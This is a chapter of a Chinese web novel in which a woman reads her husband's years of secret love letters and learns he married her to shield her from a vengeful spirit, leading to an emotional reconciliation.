这本来就是给她的信,颜千澄没有迟疑,拆开信封,取出信纸。 第一眼,先看署名。 咦? “永远爱你的关景墨”? 【END】 第46章 颜千澄真不知道,关景墨写过情书给她。 印象中,关景墨从没当面向她表露过心意。 他应该是把情书偷偷放进她教室的抽屉里,或者别的什么地方,和别人送给她的情书混在一起,被她一起打包整理了。 颜千澄从头开始看。 …… …… …… 嗯,以前,关景墨一站在她面前,就紧张拘谨,很多时候,连一句完整的话都说不完。 现在,随着两人交流逐渐深入,关景墨放松些了,但话还是不多,内容也平常得很,不是颜氏集团的公事,就是女儿小园的生活起居。 关景墨极少向她表露私人情感。 是个十足的害羞闷葫芦。 颜千澄真没想到,这害羞闷葫芦写起信来,会这样……热情洋溢。 “千澄,我喜欢你,好喜欢好喜欢你。” “从小学三年级那个傍晚,你从坏孩子手里救了我,跟我说‘Omega也能很厉害呀’那一刻起,你就是我心目中的盖世英雄。” “多年后,我仍深深地爱着你。” …… 两年前,她和关景墨还在读大学,她的祖母和父母都还在,一切难堪与误解尚未发生。 彼时,关景墨对她的感情,犹如晴朗夏日里,阳光照耀下的山溪般,清澈、明净、纯粹。 他从小专注商业,文笔一般,写不出什么优美缱绻的词句。 纯白信纸上,写的大多是直白的情话。 可能当时的关景墨也觉得,这情书写得不够精彩,于是,他在信末抄写一首外国著名浪漫情诗,尽情表达他心里真挚热烈的爱。 颜千澄惊讶着看完。 然后,她按照姚甜甜发的信息,亲自查找关景墨历年送她的情书。 部分情书是关景墨多年前给她的,存放在另一栋别墅里,颜千澄也没嫌麻烦,亲自开车去取。 颜千澄想着,关景墨是她决定要携手共度余生的伴侣,她得多*了解关景墨,多倾听他的心声啊。 忙了一天,终于把关景墨的情书都找出来了。 颜千澄将情书整理好,拿回家,按时间顺序,从第一封开始看。 原来,关景墨不是从一开始就那样直白热烈的。 第一封情书含蓄得很,用稚嫩的文笔,详细讲述那个夏日傍晚她救他的经过,表达感谢。 要不是最后有一句“千澄,我想跟你说,我喜欢你”,“我喜欢你”这四个字写得特别特别僵硬,颜千澄几乎要以为,这只是普通的感谢信了。 后来,大概关景墨发现她从没看过他的信,他的言辞越来越大胆——关景墨肯定不会想到(其实她也没想到),有朝一日,她会这样,一封接一封,认认真真从头到尾看他写的情书。 除了直白的爱情告白,关景墨还像记日记一般,写了很多工作生活琐事和他的各种心情。 “第一次谈判,担心谈不好,偷偷藏一张你的照片在手机里,心慌时,就打开加密相册看你一眼。千澄,你会讨厌我这样吗……” “关氏集团终于度过破产危机了,要谢谢颜董,谢谢你。对颜董的感谢,我可以大大方方地表达,也有自信日后可以回报她的恩情,可对你这声谢谢,却怎么也说不出口……那时你挡在我身前保护我,温柔鼓励我的恩情,我不知道该怎么回报,我是不是很笨?” “明天,第一次出席重要会议,我要表现得成熟专业,不能让他们看轻我,可是,千澄,我好紧张……” “越来越多的人用奇怪的目光看我,忌惮、鄙夷、嘲弄、怀疑、厌恶……千澄,我不喜欢那些目光……” “今天早上,在校道遇见你,你微笑着跟我说‘早上好’。你看我的目光,温和友善,一如从前。原来,在你的眼里,我不是怪物!你走后,我偷偷哭了,谢谢你,千澄。” “我渐渐习惯了那些古怪的目光,习惯了流言蜚语……” “千澄,我自小特质特殊,能看见一些常人看不到的……今天,我看见一个透明的老人身影,它坐在街角的榕树下,平平静静,无悲无喜。不知道我死后,灵魂会去哪呢,能不能那样平和安详呢?” “继父忌惮我在集团的影响力,阴阳怪气跟我说,要记住自己是个Omega,我没说话。你曾跟我说,‘Omega也能很厉害呀’,我记住你的话就够了,不用管别人说什么。” “我决定搬出关家,已经买下市中心的房子了,感觉……很复杂……千澄,我跟你一样,都没有父母关爱。没关系的,你有祖母爱你,我……可以爱你,世上有一个你,这样优秀耀眼,可以让我偷偷爱着,是一件很幸福的事。” “颜董发现我喜欢你了!千澄,我真的好想好想跟你在一起,但我知道你不喜欢我,我也配不上你……我不愿你为难,婉拒了颜董的联姻暗示,我知道我这样做是对的,可是,心里好难过……” …… 一封接一封地看关景墨给她的情书,好像陪着他一路走来。 迟来的陪伴……哦,不算迟来,关景墨成长的点点滴滴里,都有她的影子。 应该说,是两个时空交错,过去无知无觉的自己,与现在想多了解他的自己,共同陪伴他。 陪伴他,从一个青涩少年,经历一道道险恶风波,一个个异样眼神,一缕缕梦幻情爱,逐渐成长成熟。 颜千澄微笑着,目光越来越柔和,直到拆开大学毕业前夕,关景墨写给她的信件。 “千澄,我看见你父亲身后有个阴沉沉的影子,浑身怨气戾气,一直跟着你父亲。那阴影跟我以前见过的飘很不一样,我一看到它,就毛骨悚然,寒意从心底直冒上来。我觉得那阴影想害你父亲,可我没有证据。你父亲看不见它,周围的人都看不见它。” “我决定跟颜董说。颜董没放在心上,问我是不是太累了,让我好好休息。她以为我是一时眼花。颜董不信那些,我怕再说下去,她会认为我有精神病。” “我想过要跟你说,可是,我知道,你也是不信的,而且我每次跟你说话都特别紧张,不知道要怎么说。我也害怕万一你相信我了,多看你父亲几眼,会引起那阴影的注意,千澄,我好怕它害你。” “阴影突然改盯你母亲了。” “千澄,你父母的事,很遗憾,请你节哀。” “千澄,那阴影盯上你了!它想害你!我在寻访奇人异士……我一定会保护你的!就像你当年保护我一样!拼尽一切也在所不惜!” “股东大会后,看到你一脸疲惫……千澄,父母逝世,颜董病重,一切重担都压到你肩上了,我知道你现在很不容易,但希望你能注意休息,我心里很着急,好想帮你……” “对不起,对不起,对不起……是我的错,我不会要求你负责,我只希望,你不要讨厌我……” “我找到一个相对靠谱的人了,她说跟在你背后的那个阴影是怨灵,讨命债的。它先杀了你父母,现在想杀你。我决定,要成为你的亲人,或许它会让我替代你……” “千澄,我知道你不喜欢这种方式,你肯定会更讨厌我,从此以后都不再相信我,我好难受……但我实在无法眼睁睁看着你像你父母那样死去。对不起,对不起,对不起……这次,我不敢再求你的原谅了……” 颜千澄瞪大眼睛。 怨灵? 杀了她父母,又想杀她? 突然想起电影首映礼那天,桑椹跟她说的梦。 “梦里的那个你说,你是遭到怨灵的报复,它先杀了你父母,再杀你……” 其实,这段日子以来,颜千澄也发现了点点滴滴的蛛丝马迹:关景墨对玄学不同寻常的关注;关景墨长期雇佣姚甜甜;灭掉溺死鬼前,姚甜甜曾对空气讲话,似乎得到了谁的建议;关景墨偶尔落在虚空的视线;爱心福利院外,突如其来的排山倒海般的无形力量;关景墨三番四次的欲言又止…… 所以,真的有怨灵吧。 她曾被怨灵锁定,曾命悬一线。 这,就是关景墨刚在法庭上表态说不用她负责,转头就找她祖母,利用她对祖母的亲情,逼她娶他的原因吗? 关景墨宁可被她误解,被她厌恶,也要救她。 用他自己的命救她。 手里的信纸皱巴巴的,还有几个字墨迹晕开,她的Omega,写这封信时,肯定掉了不少眼泪。 看着坚强,其实挺脆弱。 看着弱小,其实又很勇敢。 颜千澄叹气,将这信从头到尾再看一遍,把每个字都印在心里,再小心翼翼地抚平,叠好。 接下来的每一封信,都在写关景墨怎样想办法救她,跟姚甜甜商量,跟喻君辞商量,尽可能发动所有力量,绞尽脑汁推演一切可能。 每一封信,都写着“对不起”。 每一封信,都写着“千澄,祝你平平安安”。 没再写“我喜欢你”。 或许,在她的生死关头,关景墨只求她能平安,没时间没心思再想他的旖旎心事。 或许,关景墨是觉得,他做了那么多让她厌恶憎恨的事,已经没有资格再说爱她了。 傻子。 颜千澄看完关景墨给她的全部情书,取出一个新的保险箱,将情书整理好,放进去锁上。 夜幕已临。 关景墨下班后去幼儿园接小园,带她去森林公园玩,父女俩散步,捡落叶,喂长颈鹿羊驼小猪,才刚回来。 一家三口一起吃晚饭。 饭后,一起玩积木,拼拼图,看绘本。 颜千澄和关景墨讲故事哄小园睡觉。 然后,颜千澄送关景墨回房。 两人默默走到房门口。 关景墨看了颜千澄几次,问:“千澄,你今天……怎么了?” 自幼相识,多年默默爱慕,颜千澄每一点小小的变化,他都能及时发现。 颜千澄想了想。 关景墨脸皮薄,要是直接告诉他,他从小到大写给她的情书,都被她看了,他肯定会羞得无地自容。 很可能会回避她一段时间。 她跟关景墨,已经浪费太多时间了,就别再浪费了吧。 颜千澄笑笑,伸手牵关景墨的手。 关景墨脸上一红,没有抗拒,让她牵着。 颜千澄注视着关景墨的眼睛,缓缓说:“景墨,这些日子……辛苦你了。” 关景墨以为她在说颜氏集团的事,赶紧应:“不辛苦,我职责所在……” 话说到一半,卡住了。 颜千澄眼眸里的情绪太复杂,不像在说公事。 关景墨揣摩她的心思:“小园挺乖巧的,我陪她玩,一点也不辛苦。” “傻子,我是说……”颜千澄叹气,眸光如水温柔,“你爱得太辛苦了……谢谢你,还有,对不起。” 关景墨闻言,脑袋突然停止运转,什么也想不了。 四目相对。 有个词叫“心领神会”,有些事,不需要明明白白地说,心灵能感应到。 关景墨的直觉告诉他,千澄知道了。 他不知道千澄是怎么知道的。 但,千澄知道了。 千澄理解他了。 关景墨呆滞很久,眼圈一红,喉头像哽了个硬块:“我不辛苦……我……我一直都很幸福……” “傻子,”颜千澄又叹,拥抱她的Omega,“以后别瞒着我了,有什么事,我们一起面对。” 关景墨连连点头,泪水落在她肩头。 两人静静相拥,良久才分开,关景墨不好意思,小声道一句“晚安”,转身准备开门。 颜千澄看着关景墨的背影,心中柔情涌动:“今晚……能让我进去吗?” 关景墨握着门把的手突地变得僵硬。 身子紧绷,脸上发烫。 但…… 心底里,没有不愿意。 或许,这就是所谓的……水到渠成? 关景墨红着耳朵,低低“嗯”了一声,指尖微颤,按下把手。 慢慢地,向他的Alpha敞开房门。